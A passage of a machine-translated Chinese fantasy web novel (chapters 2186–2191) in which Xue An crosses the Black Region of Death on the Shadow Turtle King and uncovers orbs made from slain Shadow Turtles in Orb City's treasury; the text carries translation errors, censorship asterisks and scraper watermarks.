    Because if he couldn''t even deal with this monster, there would be no need to go outside the heavens.


    But just when Yue Qinghuan was gloating over misfortune, he saw Xue An put out his hand suddenly and pressed it directly on the monster''s forehead.


    Bang!


    With a dull loud noise, the monster that had swallowed Xue An with the momentum of the thunder was forced to stop abruptly.


    In the whole process, Xue An only used one hand.


    You know that compared with this monster, Xue An''s figure is extremely small, let alone a hand.


    So when the two confront each other, the sharp contrast is enough to make people startle.


    At least Yue Qinghuan''s eyes appeared astonished.


    She thought about countless ways to deal with it, but she didn''t expect Xue An to be so vigorous, actually shaking this monster with one hand.


    At this moment, the monster seemed to be irritated, the black scales all over his body opened instantly, and his whole body rose up to try to break through Xue An''s hand.


    But all the efforts were in vain, no matter how unwilling it roared, it couldn''t shake Xue An even a bit.


    On the contrary, Xue An''s eyes condensed slightly, and his arm jerked forward.


    Boom!


    After a loud noise, the monster screamed and flew out, and turned several somersaults in the air before it could stop.


    Then I looked at the blood dripping on its forehead, and the bones underneath could already be seen faintly, obviously suffering a serious injury.


    This couldn''t help causing the monster to roar extremely angry, and the sound shook the entire void.


    But Xue An didn''t even blink his eyelids, but slowly retracted his hands to put his back on his back, and then looked at the monster indifferently.


    As he looked across, the monster that was originally roaring frantically stagnated, and then shrank back a few steps, actually already scared.


    At this time, even Yue Qinghuan couldn''t help but open his mouth slightly, with an incredible expression on his face.


    She didn''t expect that this monster would actually feel scared.


    At this moment, suddenly there was another angry growl in the void.


    When he heard this roar, the monster who had flinched immediately became excited, and then responded with a roar.


    However, Yue Qinghuan''s complexion changed drastically and immediately shouted: "Xue An, go back!"


    But it was too late, and the darkness suddenly began to surging, and then I saw countless criss-crossing squares appearing in it.


    But soon, these squares showed their true colors.


    Yue Qinghuan trembled all over, even if it was her, her complexion couldn''t help turning pale.


    Because where is the square, it is clearly a huge tortoise shell!


    The size of this tortoise shell is beyond the imagination of ordinary people, so it fills the void in the extreme sight, which makes people mistakenly think that they are squares.


    "God, it''s the Shadow Turtle Emperor!" Yue Qinghuan whispered softly.


    At the same time, when two giant lights suddenly lit up in the darkness, a huge head came slowly.


    Those two giant lamps are the eyes of this shadow turtle king.


    Even so, most of its body is still hidden in the darkness, and only a small part of it can be seen.


    It can also be seen how terrifying the monster''s size has become.


    It can be said that it is the absolute ruler of the entire Black Region of Death.


    Xue An''s complexion couldn''t help but sink, and then spit out two words gently.


    "Xianzun level monster beast!"


    That''s right!


    This huge shadow turtle emperor is actually a fairy-level monster. UU reading


    You must know that this strength can already be called the absolute king among monsters.


    Compared with it, the monster just now is not worth mentioning.


    Even because of the surrounding environment and the original characteristics of the monster, it is likely to be even more terrifying than the half-step saint Xue An had faced before.


    The giant tortoise stared at Xue An coldly, and there was no emotional fluctuation in the eyes that were as large as a small mountain.


    Not to mention anything else, just this cold gaze is enough to kill a Luo-level powerhouse in seconds.


    But Xue An did not show weakness, and stared at the giant tortoise.


    Just as the atmosphere became more solemn, Yue Qinghuan''s figure suddenly appeared among a person and a monster.


    Then I saw her face the shadow turtle king, and in an eager tone, she said a large number of obscure and incomprehensible words like a monster''s growl.

 Chapter 2186： Promise me 1 request

    And as she told, the momentum on the shadow turtle emperor gradually eased, and there was also a slight emotional fluctuation in a pair of eyes.


    Finally, it roared in a low voice.


    Yue Qinghuan was slightly startled, and then anxiously wanted to say something, but at this moment, an invisible force gently pushed her aside.


    Immediately after this shadow turtle emperor stared at Xue An for a moment, he finally opened his mouth and uttered words.


    "I didn''t expect that after so long, I would still see the strong Chinese!"


    Xue An''s eyes narrowed slightly, "Have you seen a Chinese person?"


    "Of course! In fact, not long ago, a Chinese little **** borrowed the power of our clan to get through this black region of death and went beyond the heavens!"


    "Chinese little god?" Xue An was startled slightly, and immediately thought of something, "But the snarling dog?"


    "I don''t know his name, but he is indeed a **** who enters the Tao with a dog!"


    Xue An finally understood why the snarling dog was not found among the heavens for so long.


    It turns out that he has left the heavens, and has gone beyond those heavens!


    Could it be that he has discovered the reincarnation of Erlang Shenyangjian?


    These thoughts flooded Xue An''s mind, and at this moment, the Shadow Turtle King said.


    "Since you are a member of the Chinese nationality, the old man will give you a thin face. You can forget the matter of hurting our people just now, but if you want to cross this black region of death, you must promise me a condition, otherwise you won''t even want to pass.


    Yue Qinghuan was very anxious when he heard the words, so he wanted to speak up.


    "Daughter of the military family, don''t say anything. My shadow turtle clan owes you the military family back then. You can''t interfere with these things!"


    Yue Qinghuan couldn''t help staying where he was.


    Xue An''s eyes narrowed slightly, and then nodded, "Okay, please speak!"


    "Some time ago, some members of the Shadow Turtle Clan suddenly disappeared. I still don��t know where they are. But the old man can feel that they are not dead, but have been sealed by an expert, so I hope you can investigate the reason. , Let��s see who dares to attack my Shadow Turtle Race!"


    In the end, the shadow turtle king''s words contained infinite anger, and the entire black region of death began to boil.


    As a creature bred from this darkness, this Shadow Turtle Emperor is the unquestionable king of the entire Black Territory.


    Although it is said that its cultivation base is Immortal Venerable, in this black domain, even the existence of saint level dare not despise it.


    That''s why the entire shadow turtle clan will live safely here under its protection.


    Unexpectedly, a few Shadow Turtles suddenly disappeared under his nose some time ago.


    How can this not make it angry.


    At the same time, it also faintly felt that there seemed to be some great conspiracy brewing in secret, because since the other party could capture its own people without knowing it, it shouldn''t be a problem to deal with itself.


    This is what the Shadow Turtle King is most worried about, but due to environmental constraints, it can''t leave this black region of death at all.


    And it didn''t want to use the original forces of Tianwai, such as military strategists, because now the entire force of Tianwai is suspected.


    So at this moment Xue An has become the best candidate.


    After hearing the words of the Shadow Turtle Emperor, Xue An nodded without hesitation.


    "Good! I promise you!"


    "Strong Chinese, I hope you can think about it before answering me, let alone deceive me with lies, because that will be a consequence that you can''t bear." The Shadow Turtle King said, with a threat in his tone. .


    Xue An smiled slightly, "Don''t worry, since I have agreed, I will definitely do it for you, can''t you still trust the credibility of the Chinese people?"


    These words caused the Shadow Turtle King to pause for a moment, and even nodded.


    "If this is the case, then I will believe you once, and hope you don''t let me down!"


    After all, I saw its body gradually shrinking.


    In the blink of an eye, the whole body became normal size, and then slowly turned around and said to Xue An and Yue Qinghuan.


    "Come on, I''ll carry you across this black domain of death!"


    Yue Qinghuan looked shocked.


    When she passed through this black area of ??death before, she was only brought over by an ordinary shadow tortoise.


    Because in this black area of ??death, only the Shadow Turtle Race can be immune to all damage and carry you safely.


    In addition, even if you are a saint-level existence, don''t even think about taking a step beyond the thunder pond.


    This also shows the absolute authority of the Shadow Turtle Clan in this black domain.


    And the Shadow Turtle King is the ruler of the entire tortoise clan. At this moment, it will carry over by himself, which was simply unimaginable before.


    So when he stepped on the body of the Shadow Turtle Emperor, Yue Qinghuan was still a little confused.


    On the contrary, Xue An has been calm and calm.


    After the two of them stood firm, the Shadow Turtle Emperor roared: "Stand up!"


    After saying this, its figure slipped into the black domain silently.


    The moment he entered it, Xue An felt that his eyes went dark and he couldn''t see anything.


    At the same time, extremely terrifying pressure came from all directions.


    But this feeling only lasted for a short time, and then the pressure around him disappeared instantly.


    At the same time, a faint fluorescence appeared in the eyes of the Shadow Turtle Emperor, illuminating the darkness in front of him.


    "Huh, it''s okay at last! Xue An, you don''t have to be too scared, you will get used to it after sitting a few times!" Yue Qinghuan said.


    Xue An raised his eyebrows slightly, "Of course I am not afraid, but now can you let go of your hand holding me?"


    Yue Qinghuan looked down.


    really.


    Her hand was clutching Xue An''s arm tightly, she just yelled, quickly let go of her hand, and then blushed.


    "I... I just couldn''t stand firm, so I caught you, but don''t think I am afraid!"


    Xue An looked at her with a smile, and then nodded, "Okay Whatever you say, I believe it!"


    "Hey, what do you mean by that?"


    "What do you mean? Don''t I believe it doesn''t work?"


    "No, you are taunting me!"


    Xue An raised his eyebrows, "Oh? Which ear did you hear me taunting you?"


    "You..." Yue Qinghuan stopped speaking in anger.


    Xue An smiled faintly, then found a place for himself, and after sitting down, he began to meditate and adjust his breath.


    Only Yue Qinghuan was left alone, sulking.


    "Oh, it''s really hateful, since childhood, no one has dared to talk to this girl in this tone! I will make you look good when I get home!" Yue Qing thought bitterly.


    At this moment, the black area in front of him began to waver, and then he listened to the shadow turtle emperor at his feet.


    "Sit down, leave the black domain after the previous paragraph!"

 Chapter 2187： Blue Ghost Orb

    Upon hearing this, Yue Qinghuan was immediately ready, and at the same time, the Shadow Turtle Emperor drove into this turbulent black region.


    boom!


    Even with its strength, under the stormy waves, his body was trembling slightly.


    But what shocked Yue Qinghuan even more was the faint blue light floating in the darkness in the distance.


    These brilliances are like stars falling from the sky, exuding dazzling brilliance, and they are particularly eye-catching in this black area.


    Yue Qinghuan stared blankly, with a deep obsession in his eyes.


    At this moment, Xue An suddenly appeared next to her, staring at the brilliance in the distance, and then sighed softly: "Youlan Ghost Orb, I didn''t expect this place to be able to breed such treasures!"


    Yue Qinghuan did not respond. In fact, all her attention at this time had been attracted by these ghostly blue beads.


    The obsession in his eyes was so deep that he couldn''t wait to catch all the blue ghost beads in one go.


    really.


    No woman can withstand the temptation of jewelry, especially this extremely rare gem, the temptation has increased exponentially.


    The Shadow Turtle Emperor at his feet suddenly chuckled, "Chinese powerhouse, I really didn''t expect you to recognize the blue ghost orb, doesn''t this kind of thing exist in the heavens?"


    Xue An smiled slightly, "I saw it once by chance, so I was lucky enough to know this thing."


    Of course Xue An would not tell the Shadow Turtle King that he happened to see a ghost bead when he was searching the Dragon Clan''s warehouse.


    God knows where those dragon races who regard money as fate and have a strong hoarding addiction got this orb from.


    "Hehe, Chinese powerhouse, it seems that your knowledge is really good, but do you think this is over? To tell you the truth, this is just the beginning. Next... I will let you see the real world."


    The Shadow Turtle King spoke very proudly, and then he carried the two and continued to fly forward.


    really.


    After traveling a further distance, the surrounding brilliance became more and more radiant, and there were many orbs of different colors everywhere around the surrounding area.


    Xue An couldn''t help being shocked by these sights.


    "Blazing flame beads, extremely cold ice beads, thick earth imperial beads..."


    Looking at these various and innumerable gems, Yue Qinghuan was already going crazy.


    When she went to the heavens, she didn''t pass through here.


    Because this place belongs to the absolute core of the death black domain, extremely dangerous and terrifying.


    This time, it was because the Shadow Turtle Emperor was carrying the two of them personally, so that he was qualified to pass here.


    The ordinary shadow turtle clan cannot enter here at all.


    The Shadow Turtle King said complacently: "This black region of death is an absolutely taboo dead place in the eyes of others, but in my eyes, it is a treasure house with countless treasures!"


    At this time, Yue Qinghuan finally recovered. After breathing out slowly, he said with a wry smile: "No wonder the prosperous Orb City adjacent to the Black Region is because of this reason!"


    The Shadow Turtle King chuckled, "Of course, after all, many of your monks'' things are also very useful to our Shadow Turtle Clan. You are even more coveted for these orbs. Let''s take what we need!"


    Yue Qinghuan said nothing.


    On the contrary, Xue An chuckled slightly, because he found that this Shadow Turtle Emperor had been very honest and honest in many cases, only when he touched the interests he would become extremely shrewd.


    Xue An is not surprised at this contrast.


    After all, anyone who dares to think that a monster that has survived for thousands of years is a fool, he must be a fool.


    Finally, after continuing to fly forward for a long time, the two people and one demon left the area.


    A faint white light appeared in the front, and the darkness gradually became thinner.


    "Sit down, we will leave the Black Region of Death soon!" The Shadow Turtle Emperor said solemnly.


    Yue Qinghuan immediately sat down nervously.


    Xue An stood with his hand on top of the tortoise shell, with bright brilliance in his eyes.


    I finally left the heavens, but what was the scene outside the heavens?


    At this moment, the Shadow Turtle King under his feet suddenly accelerated.


    boom!


    Xue An felt a dazzling whiteness in front of him, and then he felt an extremely strong pressure all over his body.


    This pressure not only acts on the body, but also directly acts on the realm of cultivation.


    Xue An only felt that his cultivation was stagnant, and his realm was a faint sign of falling.


    Although this momentum soon stopped, Xue An''s momentum dropped a lot because of this, and her strength instantly shrank by at least 30%.


    And in sharp contrast with him is Yue Qinghuan on the side.


    I saw her aura suddenly began to skyrocket, and under the steadily rising, cracks appeared in the space.


    Especially her pair of lavender eyes are as bright as a flawless amethyst in an instant, deep and mysterious.


    That feeling was as if a certain **** that had been suppressing her body disappeared in an instant.


    Yue Qinghuan raised a dangerous smile at the corner of his mouth, then leaned into Xue An��s ear, and whispered softly: "Now that I have reached my home court, the suppression of the heavens has disappeared. With the strength of one, I can kill at any time. How about losing you? Are you afraid?"


    After all, she looked at Xue An with a smile, trying to see a trace of fear on his face.


    unfortunately.


    She was finally disappointed.


    But seeing Xue An raised his eyebrows slightly, he smiled indifferently, and then said lightly: "You can try to see who can kill whom!"


    "You..." Yue Qinghuan was simply angry about it.


    How could there be such a strange man in the world?


    Is it so difficult to say to me being afraid?


    Just as Yue Qinghuan was full of anger, an invisible force pushed her and Xue Anto aside.


    Immediately afterwards, the figure of the Shadow Turtle Emperor began to shrink sharply, and in the blink of an eye he turned into a middle-aged man with an unremarkable appearance.


    "Well, UU reading Chinese strong, what I promised you has been done, I hope you don''t let me down!" Shadow Turtle King said solemnly.


    Xue An nodded, "Don''t worry, since I promised you, I will definitely do it for you!"


    The Shadow Turtle Sovereign turned his head and looked at Yue Qinghuan who was aside, "Soldier girl, now my Shadow Turtle family owes you all the love to the soldier, I hope you will do it yourself in the future!"


    Yue Qinghuan gave a salute, "Thank you, Lord Turtle, and the little girl will definitely remember it!"


    The Shadow Turtle King nodded, then turned around to return to the Black Region of Death.


    At this moment, Xue An suddenly stopped him.


    "Wait!"


    "Why? Is there anything else?" The Shadow Turtle Emperor stopped and looked at Xue An strangely.


    Xue An raised his hand and pointed, there was a city faintly floating in the distant void he was pointing at.


    "what is that?"

 Chapter 2188： Orb City

    "Oh! That is the Orb City mentioned by the daughter of the soldier! It is also the dock for my Shadow Turtle Clan to contact and trade with the outside world!" said the Shadow Turtle King.


    A strange brilliance flashed in Xue An''s eyes, "In that case, this is also your place, Lord Turtle?"


    "of course!"


    "Then Lord Turtle is interested in accompany me to take a look in this city?"


    The Shadow Turtle Emperor was slightly startled, not understanding what Xue An meant.


    Even Yue Qinghuan was puzzled.


    Xue An stared at the city in the distance, and said lightly: "I have a hunch that the matter that Lord Turtle asked me to investigate should be inextricably linked to this city!"


    As soon as this remark came out, whether it was the Shadow Turtle Emperor or Yue Qinghuan, they were all shocked.


    Especially the Shadow Turtle King, couldn''t believe his ears.


    "You mean, the people from Orb City betrayed me?" Shadow Turtle Emperor roared sharply.


    "I still don''t dare to conclude, I can only say that there is such a possibility!" Xue An said lightly.


    Nevertheless, the Shadow Turtle King was furious.


    "I have given countless power and wealth to the governor of this city, and he even dared to betray me. It is really unforgivable!"


    With the voice, but seeing the momentum around the shadow turtle emperor''s body instantly skyrocketed, there was already a half-step saint faintly.


    It can be seen how terrifying the strength of this monster that has survived for thousands of years and naturally bred.


    But he did not lose his mind because of this. After a few roars, he stared at Xue An with blood-red eyes.


    "A strong Chinese, I hope you have the best target. If I find out that you are framing out of thin air, even if you are a Chinese, I will tear you to pieces!"


    Faced with the threat of the Shadow Turtle King, Xue An just smiled faintly, "Don''t worry, if there is no basis, I will naturally not say that!"


    "Hmph! I hope so." The Shadow Turtle Emperor snorted coldly, then walked away.


    Xue An and Yue Qinghuan followed.


    But halfway through, Yue Qinghuan couldn''t help but asked with a worried expression: "Xue An, do you have any evidence? Does the disappearance of the Shadow Turtle Clan really have anything to do with this Pearl City?"


    "Evidence... Of course I don''t!"


    "What?" Yue Qinghuan''s eyes widened instantly, then glanced at the imposing Shadow Turtle King in front of him, and said in a low voice.


    "What nonsense without you? Isn''t this looking for something?"


    Speaking of this, Yue Qinghuan couldn''t help but shook his head angrily, "I am also stupid, this is how you have just arrived outside the heavens, how can there be evidence?"


    Xue An glanced at Yue Qinghuan when he heard the words, and then said with a smile: "Although I don''t have the evidence, I still have some certainty, because many things can actually be found with a little brainstorming!"


    "What do you mean?" Yue Qinghuan was taken aback.


    "It''s very simple. Just now, the Shadow Turtle Emperor said that when his people disappeared, he didn''t even notice it!"


    "But in the absolute home field of Death Blackland, nothing can hide from its eyes, so there are only two possibilities."


    "One is that the strength of the hands-on person is far superior to him, so that naturally, he can do this without knowing it, but if you think about it, you can know if the strength of the hands-on person is really so powerful, why not directly What about the Shadow Turtle King? So this possibility can be said to be very slim!"


    "The other is that someone who is very familiar with the Shadow Turtle Clan starts in the dark. Only in this way can the Shadow Turtle Clan relax their vigilance and be able to conceal the Shadow Turtle King. This way, the most qualified, and also the most suspicious , Naturally belongs to this treasure city!"


    After listening to Xue An''s analysis, Yue Qinghuan was stunned for a moment, and finally took a deep look at Xue An.


    "These are things you thought of in such a short time?"


    "Is there a problem?"


    Yue Qinghuan stopped talking.


    Because she suddenly felt a kind of weakness.


    In fact, she had heard about it before, but she didn''t think about it at all.


    On the contrary, Xue An analyzed the stakes clearly in a few words.


    But Yue Qinghuan couldn''t help but said: "I still don''t understand. As the Pearl City, which was born dependent on the Shadow Turtle Race, turn around to deal with its own backstage. What good is this for them?"


    Xue An raised his head and looked forward, and said lightly: "Human nature is difficult to guess at many times. Things you feel are unprofitable, but people tend to flock to them, but the motivation behind it is summed up in two words. Name, one is profit!"


    Yue Qinghuan dumbly looked at the serious expression on Xue An''s face when he said this, and couldn''t help but feel a little silly.


    Xue An also noticed her gaze, and couldn''t help raising his eyebrows slightly, "What? I was fascinated by me so soon?"


    Yue Qinghuan''s face blushed immediately, and then he took a sigh, "Bah! I don''t like talking, how can this girl look at you? I just think you just said this to another person very much. It''s just like!"


    "Oh? Who said that?"


    A look of worship appeared on Yue Qinghuan''s face, and he took a deep breath and said, "My brother, Yue Shifang!"


    Orb City.


    As a city that is neither in the starry sky nor has any strategic value, the prosperity here is all due to the orbs provided by the Shadow Turtle Race.


    These orbs bred from the Black Territory of Death are not only complete in variety, but also of high quality.


    Whether it is personal cultivation or refining treasures, it is a rare top-grade.


    Therefore this city was named Baozhu City.


    And the lord in charge of the Pearl City is named Zhang Pengtian.


    Just relying on collecting taxes from selling orbs, Zhang Pengtian has already made a lot of money.


    I don''t know how many people are jealous of his position.


    But Zhang Pengtian''s position as the city lord is as firm as a rock.


    This is because his immediate backstage is the Shadow Turtle King.


    Because of this, the Shadow Turtle King would only be so angry when he heard that someone in Orb City had betrayed him.


    But he is not a fool, naturally it is impossible to listen to Xue An''s words.


    In order to thoroughly investigate the whole matter clearly, he did not make a statement, but pretended to be an ordinary orb dealer and entered the Orb City.


    The whole process did not attract anyone''s attention.


    But Xue An and Yue Qinghuan are the opposite.


    Especially Yue Qinghuan, when she entered the city, she immediately attracted the attention of many people.


    "Hi, UU reading www.uuk��nshu.com is a stunning girl!"


    "Shhh, keep your voice down, look at this momentum, you seem to be a soldier!"


    "I recognize her, she was here a few months ago!"


    For a time, many people whispered and discussed in the distance.


    Yue Qinghuan obviously enjoyed this feeling of being noticed.


    Xue An''s attention was all focused on this city.


    He found that the people walking on the street had the worst strength equivalent to the true immortals among the heavens.


    As for the big Luo strong, they are everywhere.


    Even the powerhouse of the fairy king realm is no problem.


    Xue An''s eyes condensed slightly, is this the strength of Tianwai?


    At this moment, a surprise sound came from a distance.


    "But Miss Yue?"

 Chapter 2189： Huahua Shaochengzhu

    As he spoke, he saw a ray of light swiftly approaching, and after he showed his figure, he was a young boy in splendid clothes.


    It''s just that although this young man looks handsome, but the eyebrows are hidden, especially when he sees Yue Qinghuan, his eyes are full of deep desire, as if he wants to swallow Yue Qinghuan.


    Although it only passed away in a flash and quickly returned to normal, Xue An still saw it.


    But Xue An didn''t say anything, just a playful smile appeared at the corner of his mouth, and then looked quietly from the side.


    After seeing this teenager, the crowd onlookers in the distance was also a little commotion.


    "Young City Lord!"


    "It''s Young City Lord!"


    Many people lowered their voices and exclaimed.


    And many people looked at Yue Qinghuan with sympathy and regret, as if they had seen some of her tragic prospects.


    Because of the entire Orb City, who doesn''t know some special hobbies of this Young City Lord?


    At this moment, but seeing the enthusiastic smile on the face of this teenager, he walked up quickly, and then arched his hand politely.


    "I said why I have been able to smell the unique fragrance of Ms. Yue when I slept together today. It turned out to indicate that you are coming back today!"


    A man excitedly said to a girl that I smelled your unique scent. How could this sentence sound wrong.


    It''s as if they are deliberately teasing.


    At least a flash of cold light flashed in Yue Qinghuan''s eyes after hearing the words, but her reaction was quick, returning to normal almost instantly, and then she said with a smile.


    "Oh? If you say that, Young City Lord is interested!"


    That''s right!


    This young man is the son of Pengtian advocated by Baozhu City, and his name is Zhang Jinju.


    This life is dull, the best female, and he loves cruelty, and the women he has played with are often either dead or disabled.


    So those onlookers before will look at Yue Qinghuan with sympathy.


    Because in their eyes, Yue Qinghuan had obviously become the prey that the City Master Huahua had been staring at.


    At this moment, after seeing Yue Qinghuan''s smile, Zhang Jinju couldn''t help but feel a little lost.


    Even though he had seen all kinds of beauties, it was only at this moment that Zhang Jinju realized that it was compared with the naked girl with lavender eyes and bare feet.


    The so-called beauties that I have seen before are purely vulgar fans, not worth mentioning.


    So soon, the greed and desire in Zhang Jinju''s eyes became stronger and stronger. Although it was suppressed in an instant, Yue Qinghuan still noticed it, and the smile on his face couldn''t help but gradually become cold.


    You must know that she had passed by this treasure city before when she was going to the heavens. At that time, Zhang Jinju was shocked as a **** after seeing her by chance, and immediately began to chase her.


    With Yue Qinghuan''s intelligence, how could he fail to see his purpose.


    But at that time, Yue Qinghuan was anxious to rush to the heavens, and the only way to reach the heavens was to contact the Shadow Turtle Race through Orb City.


    Therefore, Yue Qinghuan reluctantly suppressed the anger in his heart at the time, and went with this Zhang Jinju.


    Unexpectedly, a few simple words of teasing would make Zhang Jinju, who had already been in love with him at that time, overjoyed, thinking that he had successfully captured his heart again.


    And after Yue Qinghuan came back from the work, he could kiss Fangze.


    So since Yue Qinghuan left, this Jin Ju had to visit the gate almost every day.


    The hard work paid off, and today he finally waited for Yue Qinghuan''s return.


    If it weren''t for the fact that there were too many people present, Zhang Jinju would really wish to give Yue Qinghuan to "Fa-rectification on the spot."


    At this moment, he barely suppressed the **** in his heart, thinking that he smiled politely: "Miss Yue is really too polite, just call me Jinju from now on."


    As he said, he took a step forward pretending to be intimate, and asked with a smile: "How about I call you Qinghuan in the future?"


    Yue Qinghuan almost didn''t vomit after hearing this.


    Since childhood, no one has dared to be so rude to her.


    Therefore, the brows are frowning, and they are about to break out.


    Now that she has no desire for Pearl City, she naturally does not have to be patient anymore.


    But at this moment, Xue An''s indifferent voice came in her ears.


    "Don''t get angry, and deal with him for a while!"


    Yue Qinghuan was taken aback.


    What do you mean?


    What does it mean to deal with him again?


    Could it be said that this girl will continue to be hypocritical with this LSP?


    Countless thoughts popped up in Yue Qinghuan''s heart. At the same time, he looked at Xue An angrily and questioned Xue An with his eyes.


    Why?


    Xue An smiled slightly, his lips remained unchanged, but the voice rang in Yue Qinghuan''s ears again.


    "If you let you do it, just do it, why so much nonsense?"


    Yue Qinghuan became more angry.


    Who does this guy think of himself?


    Is this girl such a casual person?


    At this moment, this Zhang Jinju also noticed Yue Qinghuan''s strangeness. After following her gaze, he found Xue An standing aside.


    When he saw Xue An, who was dressed in white, with brows as sharp as a sword, and extremely handsome, Zhang Jinju felt a strong sense of rejection in his heart.


    Especially when it was discovered that Yue Qinghuan had been looking at Xue An, this kind of rejection became stronger.


    But he pretended to be very good, and soon asked with a smile: "Qinghuan, this is..."


    He deliberately shouted so affectionately, faintly demonstrating to Xue An.


    But before Yue Qinghuan could speak, Xue An had already smiled and said, "I am Miss Yue''s friend, but I just happened to meet and passed by here together!"


    With that, Xue An''s voice rang in Yue Qinghuan''s ears again.


    "Don''t talk, if you want to find the whereabouts of the missing Shadow Turtle Clan, and continue to maintain a relationship with the Shadow Turtle King, then do as I said!"


    Yue Qinghuan closed his mouth immediately upon hearing this.


    If you can really maintain the relationship between the soldier and the shadow turtle clan through this incident, it would be great.


    So she didn''t say anything again At this moment, Zhang Jinju nodded very arrogantly.


    "Oh, it turned out to be a friend!"


    It turned out that Zhang Jinju discovered at this time that the white-clothed boy only had half a step of cultivation.


    And looking at the momentum of his body, it should have just been promoted.


    At this time, his heart was put down for the most part, because in his eyes, a half-step Immortal Venerable, although the strength is good, but in this treasure city is purely a small character that is not worth mentioning.


    Thinking of this, he deliberately ignored Xue An, and then smiled at Yue Qinghuan.


    "Qinghuan, I have recently collected a few excellent quality orbs, and have been keeping them for you. Come and see if you like?"


    After understanding what he was going to do, Yue Qinghuan''s acting skills were excellent, and he smiled and said.


    "Since Jin Ju is so deliberate, it''s better for the little girl to respect her life!"

 Chapter 2190： Young man, why are you doing this?

    The shout of Jinju made Zhang Jinju''s bones lighter by three points, and he immediately spoke with infinite joy.


    "please!"


    As he said, he stretched out his hand and cried out.


    Yue Qinghuan smiled and nodded, and walked forward.


    Zhang Jinju followed, without even looking at Xue An during the whole process, as if he was air.


    Xue An didn''t care about it. Instead, he turned his head and looked at the crowd in the distance with a smile, and then followed him slowly like a stroll in the courtyard.


    The City Lord''s Mansion is located in the middle of Baozhu City, and when Zhang Jinju led Yue Qinghuan to the door, the guards at the door immediately greeted him.


    "Master!"


    Zhang Jinju was talking and laughing with Yue Qinghuan at the moment, so he didn''t even turn his head back, just waved his hand.


    These guards immediately understood, turned around and shouted: "Open the middle door and welcome the distinguished guests!"


    In an instant, the entire City Lord''s Mansion began to boil.


    Rumble!


    The huge middle door slowly opened, and then Zhang Jinju smiled and said: "Qinghuan, please come with me!"


    When I stepped into this city lord��s mansion, I saw carved beams and painted buildings inside, and Qionglou Yuyu, which was luxuriously furnished.


    Zhang Jinju led Yue Qinghuan straight across the veranda and came to a hall.


    When standing in front of the door, Zhang Jinju''s face couldn''t help showing a smug smile.


    "Qinghuan, don''t be surprised next!"


    With that, he raised his hand and pressed it on the door.


    Click!


    With a flash of brilliance, then the heavy door slowly opened.


    It was actually blocked by Rune.


    When the door was completely opened, Zhang Jinju took the lead to walk in.


    Yue Qinghuan glanced at Xue An, but seeing Xue An''s face indifferently and without any expression, he could not help gritting his teeth secretly, and then walked in.


    The moment he crossed the threshold, the picture in front of him suddenly changed, and then Yue Qinghuan opened his mouth in astonishment.


    Because where is this hall, it is clearly a treasure house!


    But seeing countless precious orbs floating in the air, the jewel-like aura that radiated brightly shone the entire space.


    As if he felt Yue Qinghuan''s surprise, Zhang Jinju said quite contentedly: "This is where our Orb City is used to store orbs! Normal people can''t see this kind of scenes at all!"


    With that, Zhang Jinju glanced at Xue An intentionally or unintentionally, but unexpectedly, he didn''t see the slightest strangeness on Xue An''s face, and he didn''t even blink his eyelids.


    Isn''t this guy already scared stupid!


    Zhang Jinju murmured secretly, then waved casually.


    The sky full of orbs was disturbed for a while, and then dozens of more dazzling orbs flew out of it, arriving in front of Zhang Jinju.


    It can be clearly seen that these orbs are far brighter and brighter than others.


    A trace of fascination appeared in Yue Qinghuan''s eyes.


    Without him, the temptation of these orbs is really too great, and few women can resist it.


    Zhang Jinju was secretly delighted when he saw this, what he wanted was this effect, so he coughed lightly.


    "Qinghuan, you can choose any of these orbs at will. Just pick up whichever you like, and treat it as my gift to you!"


    Yue Qinghuan was really moved, not because of Zhang Jinju, but because she really liked these gems.


    But she didn''t know what to do next, so she couldn''t help but secretly looked at Xue An.


    But seeing Xue An''s face sinking like water at this moment, only the brilliance in his eyes flickered, as if he was thinking about something.


    "Hmm..." Yue Qinghuan couldn''t help but hesitate.


    But at this moment, Xue An suddenly laughed, and then whispered softly: "What a treasure house of jewels, it really deserves to be the lord of the treasure city, what a big hand!"


    These words made Zhang Jinju, who had always been quite hostile to him, slightly startled, and even relaxed a lot.


    Ok!


    Does this kid still seem to know the current affairs!


    It is estimated that you already know that you can''t compete with me, so take the initiative to quit!


    Thinking of this, he smiled slightly, Yun Danfeng said softly: "You are polite, but I dare not say anything else. If there are so many orbs, my Zhang family says it is second, and no one dares to be the first!"


    Xue An also laughed, "Oh? If that''s the case, why are the gems given to Miss Yue not good in color?"


    Zhang Jinju was taken aback.


    The color is not good?


    If even this kind of orb is of poor quality, what is good quality?


    This kid did not deliberately tear down the stage.


    At this point, Zhang Jinju''s face sank.


    "What do you mean by that? Could it be that I can still hide something from Qing Huan?"


    "It''s not interesting, it''s just a matter of fact!"


    The anger in Zhang Jinju��s eyes was more intense, and he stared at Xue An, "Boy, I only let you in because of Miss Qinghuan��s face, otherwise, with your little strength, you are not qualified to step into my house door!"


    "So you don''t have to make an inch, if you don''t explain what you just said, don''t blame me for being rude!"


    Following the questioning, Zhang Jinju''s momentum suddenly began to skyrocket, reaching a peak state in the blink of an eye.


    Only then did he realize that this Jin Ju was actually a powerhouse of the quasi-celestial respect.


    Under this boiling killing intent, the atmosphere instantly became tense.


    The smile on Xue An''s face has not changed at all, as if the violent power is just a breeze.


    "You want to explain? Okay! Then I will give you an explanation!"


    With that, Xue An raised his hand and waved, the orbs in front of him instantly retreated to the sides, and then the whole hall began to vibrate.


    Zhang Jinju''s expression changed suddenly, "You..."


    But I didn''t finish the rest of the story, but I saw Xue An stretched out his hand to explore the void, and then said lightly: "Go!"


    Click!


    Accompanied by the sound of shattering, a large hole was abruptly broken in the space of the hall, and blood was filled in the hole, and a red blood bead quickly flew out and fell into Xue An''s palm.


    "Now... please explain this!" Xue An said lightly.


    Zhang Jinju''s complexion instantly turned pale, and then turned from pale to red, UU Reading stared at Xue An with a pair of eyes, and a word came out from between his teeth.


    "who are you?"


    Xue An smiled slightly, "It doesn''t matter who I am. I just want to know why in your treasury, there are actually orbs made from the body of the shadow turtle clan."


    As soon as this statement came out, Yue Qinghuan was also shocked.


    Because she finally understood what happened to the breath on this blood drop.


    This is actually an orb made from the body of a shadow turtle clan.


    This also means that this shadow turtle clan must have been killed.


    With that said, Zhang Jinju and the entire City Lord''s Mansion are suspected of being unclear.


    Zhang Jinju''s complexion was uncertain.


    At this moment, only a light sigh came from behind.


    "Young people, sometimes you don��t live long if you know too much, so why do you bother?"

 Chapter 2191： Lord Orb, you can convict

    With this voice, a magnificent breath suddenly descended in front of everyone.


    When Guanghua dissipated, a middle-aged man with a majestic face appeared inside.


    Zhang Jinju immediately took a step back respectfully and bowed.


    "father!"


    That''s right!


